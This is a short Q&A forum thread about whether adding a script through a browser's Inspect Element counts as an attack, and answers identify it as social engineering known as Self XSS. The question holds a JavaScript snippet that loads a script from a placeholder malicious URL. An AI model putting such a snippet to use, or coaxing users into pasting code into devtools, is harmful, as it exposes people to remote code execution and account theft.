1. Open Inspect Element
  2. Right click on the body tag, or where ever, then Edit as HTML like this:

    <button onclick="loadScript();">;Click to load external script.</button>
    function loadScript() {
        var script = document.createElement('script');
        script.setAttribute('type', 'text/javascript');
        script.setAttribute('src', 'http://malicious-website/malicious-script.js');

So, is this kind of attack possible?

  • You're thinking about saving the HTML page and edit that copy by adding a script linking to a malicious URL, right? – A. Darwin Oct 2 '16 at 11:09
  • Not saving it but editing it through the inspect elements feature. It automatically adds anything you add in the source without reloading. Sorry for bad code formatting by the way. – mzcoxfde Oct 2 '16 at 11:12
  • 5
    @mzcoxfde: Where is the "attack" if the user is modifying the HTML by itself? It is not clear who gets attacked in this case by whom. Apart from that: read the formatting help and format your code properly next time by yourself instead of being sorry about badly formatted code. – Steffen Ullrich Oct 2 '16 at 11:27

I would categorize it as "social engineering"; someone tells thirds to do it with their devtools. And yes, it is a possible attack vector.

Oftentimes it is warned about when you open the F12-tools on say facebook e.g.

Screenshot from (german) facebook.

They call it Self XSS

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.